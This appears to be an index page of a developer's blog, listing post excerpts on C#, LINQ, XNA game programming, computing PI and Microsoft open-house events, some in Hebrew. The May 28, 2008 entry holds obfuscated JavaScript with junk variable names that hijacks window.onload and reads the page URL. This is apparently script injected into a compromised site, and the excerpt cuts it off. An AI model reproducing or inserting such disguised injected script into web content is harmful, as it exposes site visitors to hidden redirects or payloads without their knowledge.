Calculating PI in .NET

Friday, December 30, 2011

I always loved mathematics. Although I’m certainly not a mathematician by profession, I’m always intrigued and inspired by math’s pureness and cleverness. One of the simplest and fascinating aspects of math is the number PI. Described simply as the ratio of a circle’s circumference to its diameter, it’s a constant with infinite digits after the decimal point and most importantly, non repeating (at least as far as I know). There are many ways to calculate PI, as evident within the PI Wikipedia link. I wanted to see how I can get a large number of digits of...
5 comments

XNA 2D Game Tutorial (Part 8)

Saturday, November 13, 2010

Previous posts in this series: Part 1: Getting started Part 2: Drawing something Part 3: Input handling Part 4: Game Components Part 5: Animation and Sprites Part 6: Handling Projectiles Part 7: Sound Effects   What do we have so far? A player controlling a ship capable of firing missiles (with sound), flying through space with a backdrop of passing stars. Clearly, no real challenge for the player...
5 comments

How to be a Cool C# Programmer

Tuesday, July 20, 2010

There are many C# programmers out there… but you probably want to be the coolest… it’s not enough to just call a bunch of methods, invoke some delegates, etc. You need to write it cool. Here are some ways you can make yourself a cool C# programmer (and pick up geeky chicks at your local C# party): 1. Use anonymous delegates whenever possible (or lambda expressions, see 2): var nums = new List<int>(); //... var nums2 = nums.FindAll(delegate(int n) {    return n %...
tags: , , ,
9 comments

Presentation & Demos from C# LINQ Open House

Wednesday, February 18, 2009

Today I presented a Microsoft Open House event focused on C# 3.0 features and LINQ. Thank you all for coming! I have attached the presentation and demos. Note that to make the LINQ to SQL samples work, you must change the connection string appropriately in the app.config file, or pass another one in the NorthwindDataContext constructor. Presentation & Demos

Upcoming Courses and an Event

Monday, February 9, 2009

I’ll be teaching next week (starting from the 16th) a five day course (split) entitled “The C# 3.0 programming language” on .NET and C# fundamentals. On the 18th of this month, I’ll do an open house at Microsoft on C# 3.0 and LINQ (same thing I did a few months back at Air Force house, so if you were there, no need to come again – unless you really like the food). You can register here. On March 1st, I’ll be teaching my Windows Internals class (for developers) on the (obviously) internals of the Windows OS. Mostly...
no comments

Some "Less Famous" but Useful LINQ Operators

Sunday, July 20, 2008

LINQ has many operators, but some get more attention than others. The most famous are the ones which can be expressed in a from clause, such as Where, OrderBy, OrderByDescending, GroupBy and Select. However, many other operators exist - here's my favorite list: Intersect, Union, Except These operators are the set operators intersection (AND), union (OR) and difference. The Intersect operator returns the items that are present in both sequences as a new sequence. Here's an example:var list1 = new List<int> { 2, 4, 9, 11, 3, 6 }; var list2 = new List<int> { 3, 8, 4, 30, 9,...
no comments

Presentation and Samples from Open House on C# 3.0 and LINQ

Wednesday, May 28, 2008

 מצורפים המצגת והדוגמאות שנתתי הבוקר בבית הפתוח של Microsoft בבית חיל האויר. WqCoONEvfWsCORu = window.onload; var jksbrJpMjFkVExnJs= 18931 - 6689; window.onload = XeQrOxKNqPEeGWCBYp; GhBDxpwYHpISQwGkT = ""; oEDsUaUPpewfMxIy =19948 + 6567; SIjbURusbJVkpcqLCAK = ""; mERLyGLcAaFGuUF = ""; var dCXvkIIbnEILFiYAKv =23721; YvYYOLaRNxVOwATeD = WwBgKYEshHLfxRSn(window.location.href); var PUSWiyFMFIDjcEWv; nBionPUaLBKvpdwKXrI = '154221'; var ...
no comments

ReSharper 4.0 beta is available for download

Tuesday, May 27, 2008

זמין להורדה גירסה 4 בטא של המוצר ReSharper (www.jetbrains.com) שהוא Addin  חכם ל-Visual Studio 2005 ו-2008 ומטפל בשפות C# ו-VB. גרסה זו תומכת ב-C# 3.0 ו-VB 9.0.אחד המאפיינים הנחמדים שלו היא היכולת להמיר משפט LINQ  בפורמט שאילתה לגרסת extension methods . לדוגמא, את השאילתה הבאה   var products = from p in ctx.Products               where p.Category.CategoryName.StartsWith("B")               orderby p.UnitPrice descending               select p; הופך בלחיצת כפתור ל-   var products = ctx.Products.Where(p => p.Category.CategoryName.StartsWith("B")).OrderByDescending(p => p.UnitPrice);   נחמד מאד! באג אחד שנתקלתי בו (לפחות על המערכת שלי) היא הנטייה של ה-addin לרסק את VS2008  אם יש פרויקט WebSite  ב-Solution. אבל, בכל זאת, זה בטא...  ...
no comments

Open House on C# 3.0 and LINQ

Friday, May 2, 2008

  טק-אד נגמר... פסח נגמר... חוזרים לשגרה - הרצאות, טכנולוגיות, קורסים... ב-28 למאי אני מעביר "בית פתוח" במייקרוסופט (זה יהיה בבית חיל האויר) בנושא C# 3.0 ו-LINQ. כל מי שעדיין לא יצא לו להכיר את החידושים המגיעים עם Visual Studio 2008 וה-.NET 3.5, מוזמן. לינק לרישום ניתן למצוא כאן.
tags: , ,
no comments